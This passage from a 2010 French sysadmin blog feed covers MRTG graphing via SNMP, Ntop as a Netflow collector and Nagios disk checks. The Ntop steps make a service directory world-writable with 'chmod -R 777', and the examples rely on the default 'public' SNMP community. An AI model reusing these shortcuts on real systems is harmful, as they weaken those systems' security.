  Pour superviser le trafic de toutes les interfaces réseau de la machine d'adresse ip A.B.C.D (<a href="http://blog.nicolargo.com/2008/02/installation-dun-serveur-snmp-sous-linux.html">hébergeant un serveur SNMP</a> configuré avec <em>public</em> comme utilisateur en lecture seule), il faut saisir la commande suivante:
</p>
<pre>
cfgmaker --global 'WorkDir: /var/www/mrtg/A.B.C.D'  \
--ifdesc=descr \
--global 'Language: french'  \
--global 'Options[_]: bits,growright'  \
public@A.B.C.D &gt; /var/www/mrtg/A.B.C.D/A.B.C.D.cfg
</pre>
<p>
  Les options permettent:
</p>
<ul>
  <li>de nommer les interfaces réseaux par leur description: --ifdesc=descr
  </li>
  <li>de passer l'interface de MRTG en Francais: --global 'Language: french'
  </li>
  <li>de mettre les graphes en bits/sec et de les dessiner de la droite vers la gauche: --global 'Options[_]: bits,growright'
  </li>
</ul>
<p>
  Il est bien sur possible d'éditer le fichier de configuration (/var/www/mrtg/A.B.C.D/A.B.C.D.cfg) à la main, pour changer la configuration de MRTG.
</p>
<h1>
  Gérérer automatiquement les graphes
</h1>
<p>
  Il faut pour cela lancer automatiquement le binaire /usr/bin/mrtg toutes les 5 minutes. Nous allons donc créer un script SHELL que nous lancerons en utilisant la crontab.
</p>
<pre>
vi /usr/local/bin/mrtgcron.sh

#!/bin/sh
# /var/www/mrtg/A.B.C.D
env LANG=C  /usr/bin/mrtg /var/www/mrtg/A.B.C.D/A.B.C.D.cfg
</pre>
<p>
  Puis on lui donne les droits en exécution:
</p>
<pre>
chmod a+x /usr/local/bin/mrtgcron.sh
</pre>
<p>
  Et enfin, on programme la crontab (crontab -l) en ajoutant la ligne suivante:
</p>
<pre>
*/5 * * * * /usr/local/bin/mrtgcron.sh
</pre>
<p>
  Il ne reste plus que 5 minutes à attendre avant de consulter ses graphe à l'URL suivante:
</p>
<p style="text-align: center;">
  <em><strong>http://adresse_ip_serveur_mrtg/mrtg/A.B.C.D/</strong></em>
</p>
<h1>
  Création d'un fichier d'index pour votre site Web
</h1>
<p>
  Quand vous accédez à votre page Web MRTG, vous avez une liste de fichiers peu lisible. Heureusement, MRTG est fourni avec un utilitaire nommée indemaker permettant de générer un fichier index.html beaucoup plus "user/chief friendly".
</p>
<p>
  Pour générer cet index sur notre répertoire A.B.C.D, il faut saisir la commande suivante:
</p>
<pre>
indexmaker --title='MRTG - A.B.C.D'
--sort=descr \
--sidebyside /var/www/mrtg/A.B.C.D/A.B.C.D.cfg \
--output=/var/www/mrtg/A.B.C.D/index.html
</pre>
<p>
  Et voili, l'accès via l'URL <strong>http://adresse_ip_serveur_mrtg/mrtg/A.B.C.D</strong> est quand même plus sympathique...
</p>
<h1>
  Section spécial gros fainéants
</h1>
<p>
  Voici un petit script SHELL qui va vous simplifier la vie (enfin l'ajout de machine à superviser dans MRTG...):
</p>
<pre>

#!/bin/sh

# mrtgadd.sh

# Ajout d'une machine a superviser

# Nicolargo - GPL

#

# Syntaxe: mrtgadd.sh &lt;nom_de_la_machine&gt; &lt;adresse_ip_de_la_machine&gt;

MRTGADD_DIR=/var/www/mrtg/$1

echo "Création du répertoire: $MRTGADD_DIR"

sudo mkdir $MRTGADD_DIR

MRTGADD_CFG=$MRTGADD_DIR/$1.cfg

echo "Génération de la configuration MRTG: $MRTGADD_CFG ($2)"

sudo cfgmaker --global "WorkDir: $MRTGADD_DIR"  \

--ifdesc=descr \

--global 'Language: french'  \

--global 'Options[_]: bits,growright'  \

public@$2 &gt; $MRTGADD_CFG

MRTGADD_CRONSCRIPT=/usr/local/bin/mrtgcron.sh

echo "Modification du script $MRTGADD_CRONSCRIPT"

sudo cp $MRTGADD_CRONSCRIPT $MRTGADD_CRONSCRIPT.old

sudo cat &lt;&lt;EOF &gt;&gt; $MRTGADD_CRONSCRIPT

# $MRTGADD_DIR

env LANG=C  /usr/bin/mrtg $MRTGADD_CFG

EOF

echo "Generation du fichier Index"

sudo indexmaker --title="MRTG - $1" \

--sort=descr \

--sidebyside $MRTGADD_CFG \

--output=$MRTGADD_DIR/index.html
</pre>
<h1>
  Conclusion
</h1>
<p>
  MRTG est un bien bel outil dont pas mal de logiciel "webifier" se servent comme générateur de graphe. Il est simple et souple à installer et transparent à utiliser... Et vous êtes vous un fan de cet outil libre ?
</p>
<div>
  <a href="http://blog.nicolargo.com/wp-content/plugins/as-pdf/generate.php?post=2706"></a>
</div>
<p>
  <a href="http://feedads.g.doubleclick.net/~a/idwhySZkkTo95HWoy_SyW7Czp0U/0/da"><img src="http://feedads.g.doubleclick.net/~a/idwhySZkkTo95HWoy_SyW7Czp0U/0/di" /></a><br />
  <a href="http://feedads.g.doubleclick.net/~a/idwhySZkkTo95HWoy_SyW7Czp0U/1/da"><img src="http://feedads.g.doubleclick.net/~a/idwhySZkkTo95HWoy_SyW7Czp0U/1/di" /></a>
</p>
<div>
  <a href="http://feeds.feedburner.com/~ff/LeBlogDeNicolargo?a=XTUxXez8ejs:eVRXCK2VCfE:D7DqB2pKExk"><img src="http://feeds.feedburner.com/~ff/LeBlogDeNicolargo?i=XTUxXez8ejs:eVRXCK2VCfE:D7DqB2pKExk" /></a> <a href="http://feeds.feedburner.com/~ff/LeBlogDeNicolargo?a=XTUxXez8ejs:eVRXCK2VCfE:dnMXMwOfBR0"><img src="http://feeds.feedburner.com/~ff/LeBlogDeNicolargo?d=dnMXMwOfBR0" /></a> <a href="http://feeds.feedburner.com/~ff/LeBlogDeNicolargo?a=XTUxXez8ejs:eVRXCK2VCfE:RW9bx_9rXgo"><img src="http://feeds.feedburner.com/~ff/LeBlogDeNicolargo?d=RW9bx_9rXgo" /></a>
</div>
</div>]]>
      </description>
      <pubDate>Mon, 01 Feb 2010 06:43:35 +0100</pubDate>
      <guid isPermaLink="false">tag:ziki.com,2010:/article/11891036</guid>
    </item>
    <item>
      <title>Mes &quot;marques ta-pages&quot; de la semaine</title>
      <link>http://blog.nicolargo.com/2010/01/mes-marques-ta-pages-de-la-semaine-31.html</link>
      <description>
        <![CDATA[<div class="post_content wiki_text"><p style="text-align: center;">
  <img title="Marques-pages" src="http://blog.nicolargo.com/wp-content/uploads/2009/08/screenshot_003-300x113.png" height="113" align="center" alt="Marques-pages" width="300" />
</p>
<ul>
  <li>
    <a href="http://blog.silvyn.net/?post/2010/01/15/wake-on-lan-:-wol-avec-un-disque-lacie-2big-et-une-freebox">Wake on LAN depuis un PC Linux</a>
  </li>
  <li>
    <a href="http://nigibox.wordpress.com/2010/01/24/437/">Configurer un serveur OpenVPN en 60 secondes grâce au script de Nigi Fabio</a>
  </li>
  <li>
    <a href="http://net.tutsplus.com/tutorials/other/scheduling-tasks-with-cron-jobs/?utm_source=feedburner&amp;utm_medium=feed&amp;utm_campaign=Feed:%20nettuts%20(NETTUTS)&amp;utm_content=Google%20Reader">Le guide ultime du crontab</a>
  </li>
  <li>
    <a href="http://googlesystem.blogspot.com/2010/01/10-must-have-google-chrome-extensions.html">10 extensions pour Chromium (sans big brother) et Google Chrome (avec big brother)</a>
  </li>
  <li>
    <a href="http://saimon.org/blog/post/Sauvegarde-mails-Offlineimap">Sauvergarder son compte Gmail avec Offlineimap</a>
  </li>
  <li>
    <a href="http://www.openshotvideo.com/2010/01/openshot-10-has-arrived.html">OpenShot video, enfin un éditeur vidéo digne de ce nom libre sous Linux ?</a>
  </li>
  <li>
    <a href="http://www.smashingmagazine.com/2010/01/25/the-new-hotness-using-css3-visual-effects/">Des effets visuels CSS3 pour présenter vos images</a>
  </li>
  <li>
    <a href="http://seclists.org/nmap-hackers/2010/0">La version 5.2 de NMap vient de sortir avec pleins de nouveautés !</a>
  </li>
  <li>
    <a href="http://trisquel.info/en">Trisquel, une distribution GNU/Linux 100% libre !</a>
  </li>
  <li>
    <a href="http://njames.trevize.net/weblog/?tag=wordpress">Supprimer le double tirets de Wordpress</a>
  </li>
  <li>
    <a href="http://diveintohtml5.org/video.html#what-works">Un bien belle page sur le mode vidéo de HTML5</a>
  </li>
</ul>
<div>
  <a href="http://blog.nicolargo.com/wp-content/plugins/as-pdf/generate.php?post=2704"></a>
</div>
<p>
  <a href="http://feedads.g.doubleclick.net/~a/6IuFqOj-_9BjXWbjksjrNqTmt64/0/da"><img src="http://feedads.g.doubleclick.net/~a/6IuFqOj-_9BjXWbjksjrNqTmt64/0/di" /></a><br />
  <a href="http://feedads.g.doubleclick.net/~a/6IuFqOj-_9BjXWbjksjrNqTmt64/1/da"><img src="http://feedads.g.doubleclick.net/~a/6IuFqOj-_9BjXWbjksjrNqTmt64/1/di" /></a>
</p>
<div>
  <a href="http://feeds.feedburner.com/~ff/LeBlogDeNicolargo?a=iALbY71RT7Q:Y2FDvCXh9vA:D7DqB2pKExk"><img src="http://feeds.feedburner.com/~ff/LeBlogDeNicolargo?i=iALbY71RT7Q:Y2FDvCXh9vA:D7DqB2pKExk" /></a> <a href="http://feeds.feedburner.com/~ff/LeBlogDeNicolargo?a=iALbY71RT7Q:Y2FDvCXh9vA:dnMXMwOfBR0"><img src="http://feeds.feedburner.com/~ff/LeBlogDeNicolargo?d=dnMXMwOfBR0" /></a> <a href="http://feeds.feedburner.com/~ff/LeBlogDeNicolargo?a=iALbY71RT7Q:Y2FDvCXh9vA:RW9bx_9rXgo"><img src="http://feeds.feedburner.com/~ff/LeBlogDeNicolargo?d=RW9bx_9rXgo" /></a>
</div>
</div>]]>
      </description>
      <pubDate>Fri, 29 Jan 2010 10:23:05 +0100</pubDate>
      <guid isPermaLink="false">tag:ziki.com,2010:/article/11867203</guid>
    </item>
    <item>
      <title>Ntop et la supervision r&#233;seau via Netflow/IPFix</title>
      <link>http://blog.nicolargo.com/2010/01/ntop-et-la-supervision-reseau-via-netflowipfix.html</link>
      <description>
        <![CDATA[<div class="post_content wiki_text"><p>
  NTop est un outil libre (licence GPL) de supervision réseau permettant d'afficher en temps réel les informations collectées dans une interface Web. Pour effectuer cette collecte, NTop se base sur la librairie <a href="http://www.tcpdump.org/libpcap-changes.txt">libpcap</a> (du projet TCPDump) pour capturer les flux transitant sur les interfaces réseau de la machine ou est installé le logiciel. Les dernières versions de NTop permettent également de collecter des informations venant de machines distantes grâce aux protocoles SNMP et Netflow/IPfix. C'est sur ce dernier point que nous allons nous focaliser dans ce billet.
</p>
<p>
  <span></span>
</p>
<h1>
  Un peu d'histoire
</h1>
<p>
  Ntop a été conçu par Stephano Suin et <a href="http://luca.ntop.org/">Luca Deri</a> pour analyser les problèmes de performances qu’ils rencontraient sur le réseau du campus de l’université de Pise. Ce dernier est toujours dans l'équipe de développement. Après avoir rencontré <a href="http://www.vupen.com/english/searchengine.php?keyword=ntop">quelques petits problèmes de sécurité</a>, le projet Ntop semble reparti sur une belle dynamique avec notamment la mise en place d'un système de plugin permettant d'ajouter de nouvelles fonctionnalités au logiciel.
</p>
<p>
  <a href="http://blog.nicolargo.com/wp-content/uploads/2010/01/ntop_world.png"><img title="ntop_world" src="http://blog.nicolargo.com/wp-content/uploads/2010/01/ntop_world.png" height="473" alt="" width="435" /></a>
</p>
<h1>
  <strong>Installation de Ntop</strong>
</h1>
<p>
  On commence par installer ntop sur sa distribution GNU/Linux (exemple donnée pour distribution Ubuntu 9.04).
</p>
<pre>
sudo aptitude install ntop
</pre>
<p>
  Le processus ntop utilisate le compte ntop (ou nobody selon les distribution), il faut donc penser à changer les droits du répertoire suivant avant de lancer ntop.
</p>
<pre>
sudo chmod -R 777 /var/lib/ntop
</pre>
<p>
  On configure ensuite Ntop en éditant le fichier /var/lib/ntop/init.cfg:
</p>
<pre>
sudo vi ﻿﻿/var/lib/ntop/init.cfg
USER="ntop"
INTERFACES="eth0"
</pre>
<p>
  On configure le mot de passe du compte admin (pour l'accès à l'interface Web):
</p>
<pre>
sudo /etc/init.d/ntop stop
sudo ntop -A "motdepassepouradmin"
</pre>
<h1>
  Lancement de Ntop
</h1>
<p>
  On lance ensuite Ntop:
</p>
<pre>
sudo /etc/init.d/ntop start
</pre>
<p>
  Par défaut l'interface Web de Ntop est lancé sur le port 3000. Il faut donc lancer un navigateur Web sur l'URL suivante: http://adresse-serveur:3000 ou adresse-serveur est l'adresse IP de la machine ou est installé Ntop.
</p>
<p>
  <a href="http://blog.nicolargo.com/wp-content/uploads/2010/01/S%C3%A9lection_027-e1264513552201.png"><img title="Sélection_027" src="http://blog.nicolargo.com/wp-content/uploads/2010/01/S%C3%A9lection_027-e1264513552201.png" height="246" alt="" width="280" /></a><a href="http://blog.nicolargo.com/wp-content/uploads/2010/01/S%C3%A9lection_026.png"><img title="Sélection_026" src="http://blog.nicolargo.com/wp-content/uploads/2010/01/S%C3%A9lection_026-e1264513370364.png" height="295" alt="" width="280" /></a>
</p>
<p style="text-align: center;">
  <a href="http://blog.nicolargo.com/wp-content/uploads/2010/01/S%C3%A9lection_028-e1264513695370.png"><img title="Sélection_028" src="http://blog.nicolargo.com/wp-content/uploads/2010/01/S%C3%A9lection_028-e1264513695370.png" height="196" alt="" width="280" /></a> <a href="http://blog.nicolargo.com/wp-content/uploads/2010/01/S%C3%A9lection_029-e1264513776660.png"><img title="Sélection_029" src="http://blog.nicolargo.com/wp-content/uploads/2010/01/S%C3%A9lection_029-e1264513776660.png" height="149" alt="" width="280" /></a>
</p>
<p>
  Vous pouvez alors voir les statistiques réseau de votre interface Ethernet mais on peut aller bien plus loin avec Ntop...
</p>
<h1>
  Configuration de Ntop en collecteur Netflow/IPFix
</h1>
<p>
  Par défaut, Ntop surveille pour vous l'interface réseau de la machine sur lequel il est installé. Pour éviter d'avoir à installer plusieurs Ntop sur chacune des machines à superviser, vous pouvez utiliser <a href="http://blog.nicolargo.com/2009/11/analyse-des-flux-netflow-sous-gnulinux.html">le protocole Netflow</a> qui va envoyer les mesures vers un collecteur central ou sera installé Ntop. Pour celà nous allons utiliser le plugin Netflow de Ntop.
</p>
<p>
  On doit d'abord activer le plugin Netflow en se rendant dans le menu Plugins / Netflow / Active.
</p>
<p>
  On ajoute ensuite une sonde Netflow à collecter en allant dans le menu Plugins / Netflow / Configure. Par exemple pour ajouter la sonde hébergée sur la machine al-firewall1(plage d'adresse IP 192.168.254.0/255.255.255.248, interface supervisée: em0) envoyant les mesures Netflow sur le port UDP/9990, il faut saisir les champs suivants:
</p>
<p>
  <a href="http://blog.nicolargo.com/wp-content/uploads/2010/01/ntop-nflow-configure.png"><img title="ntop-nflow-configure" src="http://blog.nicolargo.com/wp-content/uploads/2010/01/ntop-nflow-configure-e1263994235918.png" height="408" alt="" width="580" /></a>
</p>
<p>
  On peut ensuite vérifier que les mesures sont bien remontées à Ntop en se rendant dans le menu Plugins / Netflow / Statistics:
</p>
<p>
  <a href="http://blog.nicolargo.com/wp-content/uploads/2010/01/ntop-netflow-stat.png"><img title="ntop-netflow-stat" src="http://blog.nicolargo.com/wp-content/uploads/2010/01/ntop-netflow-stat-e1263994460558.png" height="408" alt="" width="580" /></a>
</p>
<p>
  Enfin pour voir les statistiques de cette interface Netflow (par défaut Ntop affiche les stats de l'interface par défaut de la machine), il faut se rendre dans le menu Admin / Switch NIC et sélectionner l'interface Netflow:
</p>
<p>
  <a href="http://blog.nicolargo.com/wp-content/uploads/2010/01/ntop-switchnic.png"><img title="ntop-switchnic" src="http://blog.nicolargo.com/wp-content/uploads/2010/01/ntop-switchnic-e1263994695631.png" height="123" alt="" width="400" /></a>
</p>
<p>
  <a href="http://blog.nicolargo.com/wp-content/uploads/2010/01/ntop-switchnic.png"></a>On peut alors facilement consulter les statistiques de cette machine à distance, comme la distribution protocolaire:
</p>
<p>
  <a href="http://blog.nicolargo.com/wp-content/uploads/2010/01/ntop-trafstat.png"><img title="ntop-trafstat" src="http://blog.nicolargo.com/wp-content/uploads/2010/01/ntop-trafstat-e1263995043494.png" height="408" alt="" width="580" /></a>
</p>
<p>
  ou le débit réseau:
</p>
<p>
  <a href="http://blog.nicolargo.com/wp-content/uploads/2010/01/S%C3%A9lection_031.png"><img title="Sélection_031" src="http://blog.nicolargo.com/wp-content/uploads/2010/01/S%C3%A9lection_031.png" height="477" alt="" width="522" /></a>Si comme moi vous aviez laissé Ntop de coté, je pense qu'il est grand temps de lui donner une seconde chance !
</p>
<div>
  <a href="http://blog.nicolargo.com/wp-content/plugins/as-pdf/generate.php?post=2643"></a>
</div>
<p>
  <a href="http://feedads.g.doubleclick.net/~a/lFZ6clu_ngWxmh8gn5npD9i8uRg/0/da"><img src="http://feedads.g.doubleclick.net/~a/lFZ6clu_ngWxmh8gn5npD9i8uRg/0/di" /></a><br />
  <a href="http://feedads.g.doubleclick.net/~a/lFZ6clu_ngWxmh8gn5npD9i8uRg/1/da"><img src="http://feedads.g.doubleclick.net/~a/lFZ6clu_ngWxmh8gn5npD9i8uRg/1/di" /></a>
</p>
<div>
  <a href="http://feeds.feedburner.com/~ff/LeBlogDeNicolargo?a=JJ_T7b9ZCGQ:ZH_oLM-xp3M:D7DqB2pKExk"><img src="http://feeds.feedburner.com/~ff/LeBlogDeNicolargo?i=JJ_T7b9ZCGQ:ZH_oLM-xp3M:D7DqB2pKExk" /></a> <a href="http://feeds.feedburner.com/~ff/LeBlogDeNicolargo?a=JJ_T7b9ZCGQ:ZH_oLM-xp3M:dnMXMwOfBR0"><img src="http://feeds.feedburner.com/~ff/LeBlogDeNicolargo?d=dnMXMwOfBR0" /></a> <a href="http://feeds.feedburner.com/~ff/LeBlogDeNicolargo?a=JJ_T7b9ZCGQ:ZH_oLM-xp3M:RW9bx_9rXgo"><img src="http://feeds.feedburner.com/~ff/LeBlogDeNicolargo?d=RW9bx_9rXgo" /></a>
</div>
</div>]]>
      </description>
      <pubDate>Wed, 27 Jan 2010 07:07:26 +0100</pubDate>
      <guid isPermaLink="false">tag:ziki.com,2010:/article/11848007</guid>
    </item>
    <item>
      <title>Mes &quot;marques ta-pages&quot; de la semaine</title>
      <link>http://blog.nicolargo.com/2010/01/mes-marques-ta-pages-de-la-semaine-30.html</link>
      <description>
        <![CDATA[<div class="post_content wiki_text"><p style="text-align: center;">
  <img title="Marques-pages" src="http://blog.nicolargo.com/wp-content/uploads/2009/08/screenshot_003-300x113.png" height="113" align="center" alt="Marques-pages" width="300" />
</p>
<ul>
  <li>
    <a href="http://www.linuxjournal.com/article/9398">Analyse de flux VoIP (SIP/RTP) avec Wireshark</a>
  </li>
  <li>
    <a href="http://wiki.wireshark.org/RTP_statistics">Analyse de flux RTP avec Wireshark</a>
  </li>
  <li>
    <a href="http://www.howtoforge.com/how-to-set-up-an-ssl-vhost-under-apache2-on-ubuntu-9.10-debian-lenny">Configuration d'Apache2 en SSL et Virtual Host sous Ubuntu 9.10</a>
  </li>
  <li>
    <a href="http://www.pfast.fr/?Visioconference-les-technologies-d&amp;artpage=1-13">Un bel état de l'art sur les système de visioconférence</a>
  </li>
  <li>
    <a href="http://pictaculous.com/">Générer une palette de couleur à partir d'une image (service en ligne)</a>
  </li>
</ul>
<div>
  <a href="http://blog.nicolargo.com/wp-content/plugins/as-pdf/generate.php?post=2676"></a>
</div>
<p>
  <a href="http://feedads.g.doubleclick.net/~a/p2kaNa3OL65OQ08-XsWmyolIf0E/0/da"><img src="http://feedads.g.doubleclick.net/~a/p2kaNa3OL65OQ08-XsWmyolIf0E/0/di" /></a><br />
  <a href="http://feedads.g.doubleclick.net/~a/p2kaNa3OL65OQ08-XsWmyolIf0E/1/da"><img src="http://feedads.g.doubleclick.net/~a/p2kaNa3OL65OQ08-XsWmyolIf0E/1/di" /></a>
</p>
<div>
  <a href="http://feeds.feedburner.com/~ff/LeBlogDeNicolargo?a=krXtwznGe0A:TmPcgvq0B38:D7DqB2pKExk"><img src="http://feeds.feedburner.com/~ff/LeBlogDeNicolargo?i=krXtwznGe0A:TmPcgvq0B38:D7DqB2pKExk" /></a> <a href="http://feeds.feedburner.com/~ff/LeBlogDeNicolargo?a=krXtwznGe0A:TmPcgvq0B38:dnMXMwOfBR0"><img src="http://feeds.feedburner.com/~ff/LeBlogDeNicolargo?d=dnMXMwOfBR0" /></a> <a href="http://feeds.feedburner.com/~ff/LeBlogDeNicolargo?a=krXtwznGe0A:TmPcgvq0B38:RW9bx_9rXgo"><img src="http://feeds.feedburner.com/~ff/LeBlogDeNicolargo?d=RW9bx_9rXgo" /></a>
</div>
</div>]]>
      </description>
      <pubDate>Fri, 22 Jan 2010 15:34:46 +0100</pubDate>
      <guid isPermaLink="false">tag:ziki.com,2010:/article/11808388</guid>
    </item>
    <item>
      <title>Superviser l'espace disque avec Nagios via SNMP</title>
      <link>http://blog.nicolargo.com/2010/01/superviser-lespace-disque-avec-nagios-via-snmp.html</link>
      <description>
        <![CDATA[<div class="post_content wiki_text"><p>
  <a href="http://blog.nicolargo.com/wp-content/uploads/2010/01/disquedur-e1264169068723.png"><img title="disquedur" src="http://blog.nicolargo.com/wp-content/uploads/2010/01/disquedur-e1264169068723.png" height="166" alt="Disque dur" width="580" /></a>
</p>
<p>
  Voici une méthode simple rapide et efficace (enfin plus rapide à mettre en place que NRPE) pour surveiller l'espace disque disponible de ses machines Linux/BSD/Windows à partir de Nagios en utilisant le protocole SNMP.
</p>
<p>
  Les pré-requis sont les suivants:
</p>
<ul>
  <li>avoir un <a href="http://blog.nicolargo.com/nagios-tutoriels-et-documentations">Nagios</a> correctement installé
  </li>
  <li>la machine à surveiller doit héberger <a href="http://blog.nicolargo.com/2008/02/installation-dun-serveur-snmp-sous-linux.html">un serveur SNMP</a> dont la configuration permette au serveur Nagios de lire les informations (l'accès read-only v1/v2 de SNMP est suffisant)
  </li>
  <li>suivre la suite de ce billet <img src="http://blog.nicolargo.com/wp-includes/images/smilies/icon_wink.gif" alt=";)" />
  </li>
</ul>
<h1>
  Configuration de la machine à surveiller
</h1>
<p>
  Après avoir installé et configuré son serveur SNMP, il faut ajouter la ligne suivante au fichier de configuration snmpd.conf (la localisation de ce dernier est os dépendant):
</p>
<pre>
disk / 100000
</pre>
<p>
  <em>PS: le deuxième paramètre permet de fixer le seuil en dessous duquel une alerte SNMP est remontée. Il n'est pas très important pour nous car c'est Nagios qui va générer cette alerte avec nos propres valeurs.</em>
</p>
<p>
  On doit bien sûr relancer le service snmpd pour lire la configuration, par exemple:
</p>
<pre>
/etc/init.d/snmpd restart
</pre>
<h1>
  Configuration du serveur Nagios
</h1>
<p>
  La première chose à faire est de vérifier que l'on arrive bien à récupérer les informations SNMP sur la machine à surveiller (d'adresse IP 192.168.0.200 dans notre exemple). Pour cela on peut utiliser la commande suivante:
</p>
<pre>
snmpget -v 1 -c public 192.168.0.200 .1.3.6.1.4.1.2021.9.1.9.1
UCD-SNMP-MIB::dskPercent.1 = INTEGER: 32
</pre>
<p>
  La commande a réussi. On a bien récupéré la valeur 32 par SNMP. Donc On a 32% d'espace disque occupé sur le disque de la machine 192.168.0.200.
</p>
<p>
  On configure Nagios de la manière suivante, on édite le fichier commands.cfg:
</p>
<pre>
#################
# check_snmp_disk
#################

# Check free disk space using SNMP (add the "disk 1000000" line to the snmpd.conf)

define command{

command_name  check_snmp_disk

command_line  $USER1$/check_snmp -H $HOSTADDRESS$ -o .1.3.6.1.4.1.2021.9.1.9.1 -C $ARG1$ -w $ARG2$ -c $ARG3$ -u "% used"

}
</pre>
<p>
  Puis on configure le service pour la machine à surveiller (dans un autre fichier comme par exemple services.cfg):
</p>
<pre>

define service{
use      generic-service
host_name               Ma_Machine_192.168.0.200
service_description   DISK SPACE
check_command     check_snmp_disk!public!90!95
}
</pre>
<p>
  La fonction check_snmp_disk prend 3 paramètres:
</p>
<ul>
  <li>le nom de la communauté SNMP (public)
  </li>
  <li>le seuil au dessus duquel un warning est généré par Nagios (<span style="color: #ff6600;">90%</span>)
  </li>
  <li>le seuil au dessus duquel un error est généré par Nagios (<span style="color: #ff0000;">95%</span>)
  </li>
</ul>
<p>
  Il ne reste plus qu'a relancer Nagios pour prendre en compte la configuration !
</p>
<div>
  <a href="http://blog.nicolargo.com/wp-content/plugins/as-pdf/generate.php?post=2674"></a>
</div>
<p>
  <a href="http://feedads.g.doubleclick.net/~a/ov9KWGYPJnj1ucmij6pEPwn6AYY/0/da"><img src="http://feedads.g.doubleclick.net/~a/ov9KWGYPJnj1ucmij6pEPwn6AYY/0/di" /></a><br />
  <a href="http://feedads.g.doubleclick.net/~a/ov9KWGYPJnj1ucmij6pEPwn6AYY/1/da"><img src="http://feedads.g.doubleclick.net/~a/ov9KWGYPJnj1ucmij6pEPwn6AYY/1/di" /></a>
</p>
<div>
  <a href="http://feeds.feedburner.com/~ff/LeBlogDeNicolargo?a=ygHqUHV-h-g:JFhufS1P04Q:D7DqB2pKExk"><img src="http://feeds.feedburner.com/~ff/LeBlogDeNicolargo?i=ygHqUHV-h-g:JFhufS1P04Q:D7DqB2pKExk" /></a> <a href="http://feeds.feedburner.com/~ff/LeBlogDeNicolargo?a=ygHqUHV-h-g:JFhufS1P04Q:dnMXMwOfBR0"><img src="http://feeds.feedburner.com/~ff/LeBlogDeNicolargo?d=dnMXMwOfBR0" /></a> <a href="http://feeds.feedburner.com/~ff/LeBlogDeNicolargo?a=ygHqUHV-h-g:JFhufS1P04Q:RW9bx_9rXgo"><img src="http://feeds.feedburner.com/~ff/LeBlogDeNicolargo?d=RW9bx_9rXgo" /></a>
</div>
</div>]]>
      </description>
      <pubDate>Fri, 22 Jan 2010 15:17:56 +0100</pubDate>
      <guid isPermaLink="false">tag:ziki.com,2010:/article/11808390</guid>
    </item>
    <item>
      <title>Pour soutenir la &#8220;Quadrature du net&#8221;</title>
      <link>http://blog.nicolargo.com/2010/01/pour-soutenir-la-quadrature-du-net.html</link>
      <description>
        <![CDATA[<div class="post_content wiki_text"><p>
  <a href="http://www.laquadrature.net/soutien"><img title="QDN" src="http://www.laquadrature.net/themes/zen/lqdn/logo.png" height="163" alt="" width="163" /></a>Vous connaissez tous la “Quadrature du net”, cette association qui lute contre les lois&nbsp;menaçant&nbsp;nos libertés individuelles dans le monde numérique (notamment Hadopi, LOPPSI…). Comme toute assoc, elle a des frais que seule votre générosité peut combler…
</p>
<p>
  La “Quadrature du net”&nbsp;lance donc une campagne de dons (via Paypal ou par chèque). Si vous êtes sensible à leurs actions, je vous recommande <a href="http://www.laquadrature.net/soutien">de donner quelques-uns de vos chers €uros</a>…
</p>
<p>
  A votre bon coeur…
</p>
<p>
  Vive le libre, vive la liberté !
</p>
<div>
  <a href="http://blog.nicolargo.com/wp-content/plugins/as-pdf/generate.php?post=2671"></a>
</div>
<p>
  <a href="http://feedads.g.doubleclick.net/~a/YVqu-HD60lbpxvLYbREXHpkQX2E/0/da"><img src="http://feedads.g.doubleclick.net/~a/YVqu-HD60lbpxvLYbREXHpkQX2E/0/di" /></a><br />
  <a href="http://feedads.g.doubleclick.net/~a/YVqu-HD60lbpxvLYbREXHpkQX2E/1/da"><img src="http://feedads.g.doubleclick.net/~a/YVqu-HD60lbpxvLYbREXHpkQX2E/1/di" /></a>
</p>
<div>
  <a href="http://feeds.feedburner.com/~ff/LeBlogDeNicolargo?a=lkHt43v26cQ:s-uzDkYbhVk:D7DqB2pKExk"><img src="http://feeds.feedburner.com/~ff/LeBlogDeNicolargo?i=lkHt43v26cQ:s-uzDkYbhVk:D7DqB2pKExk" /></a> <a href="http://feeds.feedburner.com/~ff/LeBlogDeNicolargo?a=lkHt43v26cQ:s-uzDkYbhVk:dnMXMwOfBR0"><img src="http://feeds.feedburner.com/~ff/LeBlogDeNicolargo?d=dnMXMwOfBR0" /></a> <a href="http://feeds.feedburner.com/~ff/LeBlogDeNicolargo?a=lkHt43v26cQ:s-uzDkYbhVk:RW9bx_9rXgo"><img src="http://feeds.feedburner.com/~ff/LeBlogDeNicolargo?d=RW9bx_9rXgo" /></a>
</div>
</div>]]>
      </description>
      <pubDate>Fri, 22 Jan 2010 12:09:09 +0100</pubDate>
      <guid isPermaLink="false">tag:ziki.com,2010:/article/11808391</guid>
    </item>
    <item>
      <title>10 logiciels libres pour analyser son r&#233;seau</title>
      <link>http://blog.nicolargo.com/2010/01/quelques-outils-pour-analyser-son-trafic-reseau.html</link>
      <description>
        <![CDATA[<div class="post_content wiki_text"><p>
  Nous allons dans ce billet étudier quelques outils réseaux open-source qui peuvent être utiles pour analyser un trafic sur un réseau IP (la liste est loin d’être&nbsp;exhaustive&nbsp;mais il est difficile de l’être vu le sujet). Cette analyse peut avoir pour but de caractériser un flux et notamment son débit, les délais de transit/gigue et les éventuelles corruptions de paquets.<span></span>
</p>
<p>
  Avant d’aller plus loin dans la description des ces outils, il est important de bien comprendre où l’analyse doit se faire. Les réseaux deviennent de plus en plus complexes et la détermination d’un point de capture&nbsp;cohérent&nbsp;est une première étape indispensable. En effet, si on se positionne à un endroit non approprié, on peut passer à coté de noeuds de congestions qui vont perturber les mesures.
</p>
<p>
  Dans une architecture réseau classique composée d’un LAN (là ou se trouve vos postes clients), d’une liaison WAN (par exemple ADSL) et d’une plate-forme de service (là ou se trouve les serveurs, par exemple chez un hébergeur spécialisée), l’analyse peut se faire de deux manière différentes:
</p>
<ul>
  <li>soit en extrémité de réseau, &nbsp;en analysant le trafic en sortie du LAN (avant le goulot d’étranglement que représente la liaison WAN),<br />
    <a href="http://blog.nicolargo.com/wp-content/uploads/2009/09/Outils-mesures-reseaux-EXT.png"><img title="Outils mesures reseaux - EXT" src="http://blog.nicolargo.com/wp-content/uploads/2009/09/Outils-mesures-reseaux-EXT.png" height="209" alt="" width="587" /></a>
  </li>
  <li>soit au coeur du réseau, en analysant avec des sondes le trafic sur toutes la chaine (en sortie du LAN et coté plate_forme de service). Plus le nombre de points d’analyses est important, plus l’analyse sera fine. Elle nécessite cependant l’installation de sondes sur des équipements que l’on n’administre pas forcement.<br />
